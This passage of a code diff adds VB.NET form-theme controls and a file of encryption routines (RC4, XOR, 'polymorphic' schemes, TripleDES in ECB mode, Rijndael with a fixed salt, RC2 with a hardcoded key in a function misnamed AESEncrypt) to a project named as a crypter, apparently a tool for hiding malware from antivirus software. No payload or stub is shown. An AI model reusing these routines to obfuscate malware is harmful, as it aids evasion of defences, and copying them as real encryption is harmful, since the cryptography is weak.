Invalidate() + End Set + End Property + Private _TitleAlign As HorizontalAlignment + Public Property TitleAlign() As HorizontalAlignment + Get + Return _TitleAlign + End Get + Set(ByVal v As HorizontalAlignment) + _TitleAlign = v : Invalidate() + End Set + End Property + Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs) + Dock = 5 + If TypeOf Parent Is Form Then CType(Parent, Form).FormBorderStyle = 0 + MyBase.OnHandleCreated(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + If New Rectangle(Parent.Location.X, Parent.Location.Y, Width - 1, _TitleHeight - 1).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then + Capture = False : Dim M = Message.Create(Parent.Handle, 161, 2, 0) : DefWndProc(M) + End If : MyBase.OnMouseDown(e) + End Sub + Dim C1 As Color = Color.FromArgb(240, 240, 240), C2 As Color = Color.FromArgb(230, 230, 230), C3 As Color = Color.FromArgb(190, 190, 190) + Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) + End Sub + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Using B As New Bitmap(Width, Height) + Using G = Graphics.FromImage(B) + G.Clear(Color.FromArgb(245, 245, 245)) + + Draw.Blend(G, Color.White, C2, C1, 0.7, 1, 0, 0, Width, _TitleHeight) + + G.FillRectangle(New SolidBrush(Color.FromArgb(80, 255, 255, 255)), 0, 0, Width, CInt(_TitleHeight / 2)) + G.DrawRectangle(New Pen(Color.FromArgb(100, 255, 255, 255)), 1, 1, Width - 3, _TitleHeight - 2) + + Dim S = G.MeasureString(Text, Font), O = 6 + If _TitleAlign = 2 Then O = Width / 2 - S.Width / 2 + If _TitleAlign = 1 Then O = Width - S.Width - 6 + G.DrawString(Text, Font, New SolidBrush(C3), O, CInt(_TitleHeight / 2 - S.Height / 2)) + + G.DrawLine(New Pen(C3), 0, _TitleHeight, Width, _TitleHeight) + G.DrawLine(Pens.White, 0, _TitleHeight + 1, Width, _TitleHeight + 1) + G.DrawRectangle(New Pen(C3), 0, 0, Width - 1, Height - 1) + + e.Graphics.DrawImage(B.Clone, 0, 0) + End Using + End Using + End Sub +End Class +Public Class PButton : Inherits Control + Sub New() + ForeColor = C3 + End Sub + Private State As Integer + Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs) + State = 1 : Invalidate() : MyBase.OnMouseEnter(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + State = 2 : Invalidate() : MyBase.OnMouseDown(e) + End Sub + Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs) + State = 0 : Invalidate() : MyBase.OnMouseLeave(e) + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs) + State = 1 : Invalidate() : MyBase.OnMouseUp(e) + End Sub + Dim C1 As Color = Color.FromArgb(240, 240, 240), C2 As Color = Color.FromArgb(230, 230, 230), C3 As Color = Color.FromArgb(190, 190, 190) + Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) + End Sub + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Using B As New Bitmap(Width, Height) + Using G = Graphics.FromImage(B) + If State = 2 Then + Draw.Gradient(G, C2, Color.WhiteSmoke, 1, 1, Width, Height) + Else + Draw.Gradient(G, Color.WhiteSmoke, C2, 1, 1, Width, Height) + End If + + If State < 2 Then G.FillRectangle(New SolidBrush(Color.FromArgb(80, 255, 255, 255)), 0, 0, Width, CInt(Height * 0.3)) + + Dim S = G.MeasureString(Text, Font) + G.DrawString(Text, Font, New SolidBrush(ForeColor), Width / 2 - S.Width / 2, Height / 2 - S.Height / 2) + G.DrawRectangle(New Pen(C3), 0, 0, Width - 1, Height - 1) + + e.Graphics.DrawImage(B.Clone, 0, 0) + End Using + End Using + End Sub +End Class +Public Class PProgress : Inherits Control + Private _Value As Integer + Public Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + _Value = value : Invalidate() + End Set + End Property + Private _Maximum As Integer = 100 + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value = 0 Then value = 1 + _Maximum = value : Invalidate() + End Set + End Property + Dim C1 As Color = Color.FromArgb(240, 240, 240), C2 As Color = Color.FromArgb(230, 230, 230), C3 As Color = Color.FromArgb(190, 190, 190) + Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) + End Sub + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Dim V As Integer = Width * _Value / _Maximum + Using B As New Bitmap(Width, Height) + Using G = Graphics.FromImage(B) + Draw.Gradient(G, C2, C1, 1, 1, Width - 2, Height - 2) + G.DrawRectangle(New Pen(C2), 1, 1, V - 3, Height - 3) + Draw.Gradient(G, C1, C2, 2, 2, V - 4, Height - 4) + + G.FillRectangle(New SolidBrush(Color.FromArgb(50, 255, 255, 255)), 2, 2, V - 4, CInt(Height / 2) - 2) + G.DrawRectangle(New Pen(C3), 0, 0, Width - 1, Height - 1) + + e.Graphics.DrawImage(B.Clone, 0, 0) + End Using + End Using + End Sub +End Class +'Modern Theme +Public Class MTheme : Inherits Control + Private _TitleHeight As Integer = 25 + Public Property TitleHeight() As Integer + Get + Return _TitleHeight + End Get + Set(ByVal v As Integer) + If v > Height Then v = Height + If v < 2 Then Height = 1 + _TitleHeight = v : Invalidate() + End Set + End Property + Private _TitleAlign As HorizontalAlignment = 2 + Public Property TitleAlign() As HorizontalAlignment + Get + Return _TitleAlign + End Get + Set(ByVal v As HorizontalAlignment) + _TitleAlign = v : Invalidate() + End Set + End Property + Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs) + Dock = 5 + If TypeOf Parent Is Form Then CType(Parent, Form).FormBorderStyle = 0 + MyBase.OnHandleCreated(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + If New Rectangle(Parent.Location.X, Parent.Location.Y, Width - 1, _TitleHeight - 1).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then + Capture = False : Dim M = Message.Create(Parent.Handle, 161, 2, 0) : DefWndProc(M) + End If : MyBase.OnMouseDown(e) + End Sub + Dim C1 As Color = Color.FromArgb(74, 74, 74), C2 As Color = Color.FromArgb(63, 63, 63), C3 As Color = Color.FromArgb(41, 41, 41), _ + C4 As Color = Color.FromArgb(27, 27, 27), C5 As Color = Color.FromArgb(0, 0, 0, 0), C6 As Color = Color.FromArgb(25, 255, 255, 255) + Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) + End Sub + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Using B As New Bitmap(Width, Height) + Using G = Graphics.FromImage(B) + G.Clear(C3) + + Draw.Gradient(G, C4, C3, 0, 0, Width, _TitleHeight) + + Dim S = G.MeasureString(Text, Font), O = 6 + If _TitleAlign = 2 Then O = Width / 2 - S.Width / 2 + If _TitleAlign = 1 Then O = Width - S.Width - 6 + Dim R As New Rectangle(O, (_TitleHeight + 2) / 2 - S.Height / 2, S.Width, S.Height) + Using T As New LinearGradientBrush(R, C1, C3, LinearGradientMode.Vertical) + G.DrawString(Text, Font, T, R) + End Using + + G.DrawLine(New Pen(C3), 0, 1, Width, 1) + + Draw.Blend(G, C5, C6, C5, 0.5, 0, 0, _TitleHeight + 1, Width, 1) + + G.DrawLine(New Pen(C4), 0, _TitleHeight, Width, _TitleHeight) + G.DrawRectangle(New Pen(C4), 0, 0, Width - 1, Height - 1) + + e.Graphics.DrawImage(B.Clone, 0, 0) + End Using + End Using + End Sub +End Class +Public Class MButton : Inherits Control + Sub New() + ForeColor = Color.FromArgb(65, 65, 65) + End Sub + Private State As Integer + Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs) + State = 1 : Invalidate() : MyBase.OnMouseEnter(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + State = 2 : Invalidate() : MyBase.OnMouseDown(e) + End Sub + Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs) + State = 0 : Invalidate() : MyBase.OnMouseLeave(e) + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs) + State = 1 : Invalidate() : MyBase.OnMouseUp(e) + End Sub + Dim C1 As Color = Color.FromArgb(31, 31, 31), C2 As Color = Color.FromArgb(41, 41, 41), C3 As Color = Color.FromArgb(51, 51, 51), _ + C4 As Color = Color.FromArgb(0, 0, 0, 0), C5 As Color = Color.FromArgb(25, 255, 255, 255) + Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) + End Sub + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Using B As New Bitmap(Width, Height) + Using G = Graphics.FromImage(B) + G.DrawRectangle(New Pen(C1), 0, 0, Width - 1, Height - 1) + + If State = 2 Then + Draw.Gradient(G, C2, C3, 1, 1, Width - 2, Height - 2) + Else + Draw.Gradient(G, C3, C2, 1, 1, Width - 2, Height - 2) + End If + + Dim O = G.MeasureString(Text, Font) + G.DrawString(Text, Font, New SolidBrush(ForeColor), Width / 2 - O.Width / 2, Height / 2 - O.Height / 2) + + Draw.Blend(G, C4, C5, C4, 0.5, 0, 1, 1, Width - 2, 1) + + e.Graphics.DrawImage(B.Clone, 0, 0) + End Using + End Using + End Sub +End Class +Public Class MProgress : Inherits Control + Private _Value As Integer + Public Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + _Value = value : Invalidate() + End Set + End Property + Private _Maximum As Integer = 100 + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value = 0 Then value = 1 + _Maximum = value : Invalidate() + End Set + End Property + Dim C1 As Color = Color.FromArgb(31, 31, 31), C2 As Color = Color.FromArgb(41, 41, 41), C3 As Color = Color.FromArgb(51, 51, 51), _ + C4 As Color = Color.FromArgb(0, 0, 0, 0), C5 As Color = Color.FromArgb(25, 255, 255, 255) + Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) + End Sub + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Dim V As Integer = Width * _Value / _Maximum + Using B As New Bitmap(Width, Height) + Using G = Graphics.FromImage(B) + Draw.Gradient(G, C2, C3, 1, 1, Width - 2, Height - 2) + G.DrawRectangle(New Pen(C2), 1, 1, V - 3, Height - 3) + Draw.Gradient(G, C3, C2, 2, 2, V - 4, Height - 4) + + G.DrawRectangle(New Pen(C1), 0, 0, Width - 1, Height - 1) + + e.Graphics.DrawImage(B.Clone, 0, 0) + End Using + End Using + End Sub +End Class +'Electron Theme +Public Class ETheme : Inherits Control + Private _TitleHeight As Integer = 25 + Public Property TitleHeight() As Integer + Get + Return _TitleHeight + End Get + Set(ByVal v As Integer) + If v > Height Then v = Height + If v < 2 Then Height = 1 + _TitleHeight = v : Invalidate() + End Set + End Property + Private _TitleAlign As HorizontalAlignment = 2 + Public Property TitleAlign() As HorizontalAlignment + Get + Return _TitleAlign + End Get + Set(ByVal v As HorizontalAlignment) + _TitleAlign = v : Invalidate() + End Set + End Property + Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs) + Dock = 5 + If TypeOf Parent Is Form Then CType(Parent, Form).FormBorderStyle = 0 + MyBase.OnHandleCreated(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + If New Rectangle(Parent.Location.X, Parent.Location.Y, Width - 1, _TitleHeight - 1).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then + Capture = False : Dim M = Message.Create(Parent.Handle, 161, 2, 0) : DefWndProc(M) + End If : MyBase.OnMouseDown(e) + End Sub + Dim C1 As Color = Color.FromArgb(0, 70, 114), C2 As Color = Color.FromArgb(0, 47, 78), C3 As Color = Color.FromArgb(0, 34, 57), _ + C4 As Color = Color.FromArgb(0, 30, 50) + Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) + End Sub + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Using B As New Bitmap(Width, Height) + Using G = Graphics.FromImage(B) + G.Clear(C3) + + Draw.Blend(G, C2, C3, C1, 0.5, 1, 0, 0, Width, _TitleHeight) + + G.FillRectangle(New SolidBrush(Color.FromArgb(15, 255, 255, 255)), 1, 1, Width - 2, CInt(_TitleHeight / 2) - 2) + G.DrawRectangle(New Pen(Color.FromArgb(35, 255, 255, 255)), 1, 1, Width - 3, _TitleHeight - 2) + + Dim S = G.MeasureString(Text, Font), O = 6 + If _TitleAlign = 2 Then O = Width / 2 - S.Width / 2 + If _TitleAlign = 1 Then O = Width - S.Width - 14 + Dim V = CInt(_TitleHeight / 2 - (S.Height + 4) / 2) + + Draw.Gradient(G, C3, C2, O, V, S.Width + 8, S.Height + 4) + G.DrawRectangle(New Pen(C3), O, V, S.Width + 7, S.Height + 3) + + Dim R As New Rectangle(O + 4, CInt(_TitleHeight / 2 - S.Height / 2), S.Width, S.Height) + Using T As New LinearGradientBrush(R, C1, C2, LinearGradientMode.Vertical) + G.DrawString(Text, Font, T, R) + End Using + + G.DrawRectangle(New Pen(C1), 1, _TitleHeight + 1, Width - 3, Height - _TitleHeight - 3) + + G.DrawLine(New Pen(C4), 0, _TitleHeight, Width, _TitleHeight) + G.DrawRectangle(New Pen(C4), 0, 0, Width - 1, Height - 1) + e.Graphics.DrawImage(B.Clone, 0, 0) + End Using + End Using + End Sub +End Class \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/EN.vb b/scode (Sikandars.Crypter.V6.VB.NET/EN.vb new file mode 100644 index 0000000..59369f4 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/EN.vb @@ -0,0 +1,827 @@ +Imports System.Security.Cryptography +Imports System.Text +Imports System.IO + + +Public Class Encryption_Algorithms + Public Class PolyMorphicStairs + Overloads Shared Function PolyCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = PolyCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + PolyCrypt = Encoding.Default.GetString(buff) + Erase buff + End Function + Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + PolyDeCrypt = Encoding.Default.GetString(buff) + Erase buff + End Function + Overloads Shared Function PolyCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + Array.Resize(Data, Data.Length + 1) + Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255)) + For i = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1 + Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length) + Next + Return Data + End Function + Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + For i = 0 To (Data.Length - 1) * (ExtraRounds + 1) + Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256) + Next + Array.Resize(Data, Data.Length - 1) + Return Data + End Function + End Class + Public Shared Function Rc4(ByVal bytes() As Byte, ByVal key() As Byte) As Byte() + Dim s(255) As Byte + Dim i As Integer + For i = 0 To s.Length - 1 + s(i) = CByte(i) + Next + Dim j As Integer + For i = 0 To s.Length - 1 + j = (j + key(i Mod key.Length) + s(i)) And 255 + Dim temp As Byte = s(i) + s(i) = s(j) + s(j) = temp + Next + i = 0 + j = 0 + Dim output(bytes.Length - 1) As Byte + Dim k As Integer + For k = 0 To bytes.Length - 1 + i = (i + 1) And 255 + j = (j + s(i)) And 255 + Dim temp As Byte = s(i) + s(i) = s(j) + s(j) = temp + output(k) = s((CType(s(i), Integer) + s(j)) And 255) Xor bytes(k) + Next + Return output + End Function + Public Shared Function PolyDec(ByVal Input As String) As String + Dim Output As String = Nothing + Dim SA() As String + SA = Input.Split("|") + For Each C As String In SA + Try + Output = Output & Chr(C - SA(0)) + Catch + End Try + Next + Return Output.Remove(0, 1) + End Function + Public Shared Function PolyCrypt(ByVal Input As String) As String + Dim Output As String = Nothing + Dim R As New Random + Dim O As Integer = R.Next(10, 99) + Dim CA As Char() + CA = Input.ToCharArray + For Each C As Char In CA + Try + Output = Output & Asc(C) + O & "|" + Catch + End Try + Next + Return O & "|" & Output + End Function + Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String + + Dim lonDataPtr As Long + + Dim strDataOut As String = "" + + Dim intXOrValue1 As Integer + + Dim intXOrValue2 As Integer + + Dim H As String = "&H" + + For lonDataPtr = 1 To (Len(DataIn) / 2) + + intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2))) + + intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1)) + + strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2) + + Next lonDataPtr + + xEncryptionD = strDataOut + + End Function + Public Shared Function xEncryption(ByVal CodeKey As String, ByVal DataIn As String) As String + Dim lonDataPtr As Long + Dim strDataOut As String + Dim temp As Integer + Dim tempstring As String + Dim intXOrValue1 As Integer + Dim intXOrValue2 As Integer + For lonDataPtr = 1 To Len(DataIn) + intXOrValue1 = Asc(Mid$(DataIn, lonDataPtr, 1)) + intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1)) + + temp = (intXOrValue1 Xor intXOrValue2) + tempstring = Hex(temp) + If Len(tempstring) = 1 Then tempstring = "0" & tempstring + strDataOut = strDataOut + tempstring + Next lonDataPtr + xEncryption = strDataOut + End Function + Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String + Dim keyArray As Byte() + Dim toEncryptArray As Byte() = Convert.FromBase64String(b) + If d Then + Dim hashmd5 = New MD5CryptoServiceProvider() + keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c)) + Else + keyArray = UTF8Encoding.UTF8.GetBytes(c) + End If + Dim tdes = New TripleDESCryptoServiceProvider() + tdes.Key = keyArray + tdes.Mode = CipherMode.ECB + tdes.Padding = PaddingMode.PKCS7 + Dim cTransform As ICryptoTransform = tdes.CreateDecryptor() + Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length) + Return UTF8Encoding.UTF8.GetString(resultArray) + End Function + Public Shared Function TripleDES(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String + Dim KeyArray As Byte() + Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt) + If useHashing Then + Dim hashmd5 As New MD5CryptoServiceProvider() + KeyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key)) + Else + KeyArray = UTF8Encoding.UTF8.GetBytes(key) + End If + Dim TDES As New TripleDESCryptoServiceProvider() + TDES.Key = KeyArray + TDES.Mode = CipherMode.ECB + TDES.Padding = PaddingMode.PKCS7 + Dim cTransform As ICryptoTransform = TDES.CreateEncryptor() + Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length) + Return Convert.ToBase64String(resultArray, 0, resultArray.Length) + End Function + Public Shared Function Rijndael(ByVal File As String, ByVal Key As String) + Dim oAesProvider As New RijndaelManaged + Dim btClear() As Byte + Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} + Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) + oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) + oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) + Dim ms As New IO.MemoryStream + Dim cs As New CryptoStream(ms, _ + oAesProvider.CreateEncryptor(), _ + CryptoStreamMode.Write) + btClear = System.Text.Encoding.UTF8.GetBytes(File) + cs.Write(btClear, 0, btClear.Length) + cs.Close() + File = Convert.ToBase64String(ms.ToArray) + Return File + End Function + Public Class PolyMorphic + 'Variable for the Key. + Private sKey As String = "" + 'Property, will Give us acces to the key. + Public Property Key() As String + Get + Return sKey + End Get + Set(ByVal value As String) + sKey = value + End Set + End Property + 'Inisalization. (New Constructor) + Public Sub New(ByVal Key As String) + Me.Key = Key + End Sub + Public Sub New() + Me.Key = "" + End Sub + 'This Will convert String to bytes,then call the other function. + Public Function PolyCrypt(ByVal Data As String) As String + Return Encoding.Default.GetString(PolyCrypt(Encoding.Default.GetBytes(Data))) + End Function + 'This one also Will convert String to bytes,then call the other function. + Public Function PolyDeCrypt(ByVal Data As String) As String + Return Encoding.Default.GetString(PolyDeCrypt(Encoding.Default.GetBytes(Data))) + End Function + 'Main PolyMorphic Encryption. + Public Function PolyCrypt(ByVal Data() As Byte) As Byte() + 'We declare a byte array, just one byte bigger then the data. + Dim ReturnBuffer(Data.Length) As Byte + 'we assain The first one with a random byte. + ReturnBuffer(0) = Convert.ToByte(New Random().Next(1, Convert.ToInt32(11111111, 2))) + 'now for each byte in data + For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2) + 'we add the previous byte to the next byte Mod 256. the first byte is random, + 'so will will get random bytes all the way. + ReturnBuffer(i + Convert.ToInt32(1, 2)) = ModuloByte(ReturnBuffer(i), Data(i)) + Next + 'We Call the Selected Encryption to crypt the randomized Data. + Return XorCrypt(ReturnBuffer, Encoding.Default.GetBytes(Key)) + End Function + 'Main PolyMorphic Decryption. + Public Function PolyDeCrypt(ByVal Data() As Byte) As Byte() + 'This Function is the exact reverse of the crypt function. + 'we should Decrypt to get our last randomized data. + Data = XorCrypt(Data, Encoding.Default.GetBytes(Key)) + 'Now in the other function the return value is a one byte bigger array. lets remove that one + Dim ReturnBuffer(Data.Length - Convert.ToInt32(10, 2)) As Byte + 'we started from Byte n# 0 to the last one. we'll play it reversed now. + For i = Data.Length - Convert.ToInt32(1, 2) To Convert.ToInt32(1, 2) Step -Convert.ToInt32(1, 2) + 'We just remove The previous byte value from the current one Mod 256. simple + ReturnBuffer(i - Convert.ToInt32(1, 2)) = ModuloByte(Data(i), -Data(i - Convert.ToInt32(1, 2))) + Next + 'That's it. The Buffer is one byte less then the data. Perfect. Return it. + Return ReturnBuffer + End Function + 'A Positive Mod 256. This will prevent a non byte value. the result is always >= 0 and <= 255 + Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte + While Addition < Convert.ToInt32(0, 2) + ' + Addition += Convert.ToInt32(100000000, 2) + End While + Return Convert.ToByte((MyByte + Addition) Mod Convert.ToInt32(100000000, 2)) + End Function + 'Xor Encryption. + Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte() + If Key.Length <> 0 Then + For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2) + Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod Convert.ToInt32(111, 2))) Mod Key.Length) Mod Key.Length) + Next + End If + Return Data + End Function + Public Function XorCrypt(ByVal Data As String, ByVal Key As String) As String + Return Encoding.Default.GetString(XorCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key))) + End Function + End Class + Public Class StairsEncryption + 'Simple encryption for use + 'coded by Miharbi-Dono from HF. + 'Give Credits. don't just delete this comment, it won't hurt. + Public Shared Function Crypt(ByVal Data As String, ByVal key As String) As String + Return Encoding.Default.GetString(Crypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(key))) + End Function + Public Shared Function Crypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte() + For i = 0 To Data.Length - 1 + Data(i) = CByte(CInt((Data(i)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor key(i Mod key.Length) + Next + Return Data + End Function + Public Shared Function DeCrypt(ByVal Data As String, ByVal key As String) As String + Return Encoding.Default.GetString(DeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(key))) + End Function + Public Shared Function DeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte() + For i = Data.Length - 1 To 0 Step -1 + Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256) + Next + Return Data + End Function + End Class + Shared Function AESEncrypt(ByVal InputEncrypt As Byte()) + Using A As New System.Security.Cryptography.RC2CryptoServiceProvider + A.IV = New Byte() {8, 7, 6, 5, 4, 3, 2, 1} + A.Key = New Byte() {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5} + Return A.CreateEncryptor.TransformFinalBlock(InputEncrypt, 0, InputEncrypt.Length) + End Using + End Function + Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String) + + Dim oAesProvider As New RijndaelManaged + + Dim btCipher() As Byte + + Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} + + Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt) + + oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length) + + oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length) + + Dim ms As New IO.MemoryStream + + Dim cs As New CryptoStream(ms, oAesProvider.CreateDecryptor(), CryptoStreamMode.Write) + + Try + + btCipher = Convert.FromBase64String(Decrypt) + + cs.Write(btCipher, 0, btCipher.Length) + + cs.Close() + + Decrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray) + + Catch + + End Try + + Return Decrypt + + End Function + + Public Class PolyRC4 + + Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf" + + Sub New(ByVal EncryptionKey As String) + + Key = EncryptionKey + + End Sub + + Public Function Encrypt(ByVal message As String) As String + + message = XX(message, Key) + + Dim random As New Random() + + Dim list1 As New ArrayList(), list2 As New ArrayList() + + Dim out As String = "" + + Dim num1 As Integer = random.[Next](1, 10255) + + For i As Integer = 0 To message.Length - 1 + + Dim num2 As Integer = random.[Next](num1) '(&H7A) + &H44 + + list1.Add(Convert.ToInt32(message(i)) + num2) + + list2.Add(num2) + + Next + + For j As Integer = 0 To message.Length - 1 + + out += ChrW(list1(j)) & ChrW(list2(j)) + + Next + + Return out + + End Function + + Public Function Decrypt(ByVal message As String) As String + + Dim numArray As Integer() = New Integer(message.Length - 1) {} + + Dim temp As String = "" + + For i As Integer = 0 To message.Length - 1 + + numArray(i) = Convert.ToInt32(message(i)) + + Next + + For j As Integer = 0 To message.Length - 1 Step 2 + + Dim num3 As Integer = numArray(j) + + Dim num4 As Integer = numArray(j + 1) + + Dim num5 As Integer = num3 - num4 + + temp = temp + ChrW(num5) + + Next + + Return XX(temp, Key) + + End Function + + Public Shared Function XX(ByVal message As String, ByVal password As String) As String + + Dim i As Integer = 0 + + Dim j As Integer = 0 + + Dim cipher As New StringBuilder + + Dim returnCipher As String = String.Empty + + Dim sbox As Integer() = New Integer(256) {} + + Dim key As Integer() = New Integer(256) {} + + Dim intLength As Integer = password.Length + + Dim a As Integer = 0 + + While a <= 255 + + Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) + + key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + + sbox(a) = a + + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + + End While + + Dim x As Integer = 0 + + Dim b As Integer = 0 + + While b <= 255 + + x = (x + sbox(b) + key(b)) Mod 256 + + Dim tempSwap As Integer = sbox(b) + + sbox(b) = sbox(x) + + sbox(x) = tempSwap + + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + + End While + + a = 1 + + While a <= message.Length + + Dim itmp As Integer = 0 + + i = (i + 1) Mod 256 + + j = (j + sbox(i)) Mod 256 + + itmp = sbox(i) + + sbox(i) = sbox(j) + + sbox(j) = itmp + + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + + itmp = Asc(ctmp) + + Dim cipherby As Integer = itmp Xor k + + cipher.Append(Chr(cipherby)) + + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + + End While + + returnCipher = cipher.ToString + + cipher.Length = 0 + + Return returnCipher + + End Function + + End Class + + Public Class RC2_With_Salt + 'This is a simple way to use salt in a encryption. I modified the RC2 encryption and made it work with salting. + Private Shared key As Byte() 'To hold out secret encryption key! + Private Shared RC2 As New RC2CryptoServiceProvider + + Public Shared Function Encrypt(ByVal input As String, ByVal password As String, ByVal salt As String, ByVal length As Integer) As Byte() 'Encrypting function. + Dim input_b As Byte() = System.Text.Encoding.Default.GetBytes(input) 'Get input bytes... + Dim pass_b As Byte() = System.Text.Encoding.Default.GetBytes(password) 'Passsword bytes... + Dim salt_b As Byte() = System.Text.Encoding.Default.GetBytes(salt) 'Geting our input salt bytes... + key = Generate_key(pass_b, salt_b, length) 'Get our secret value out of password and salt, which we will use as your encryption key! + Dim salt_to_add As Byte() = Generate_Salt(5) 'We will append our input bytes here.... + Dim input_salt As 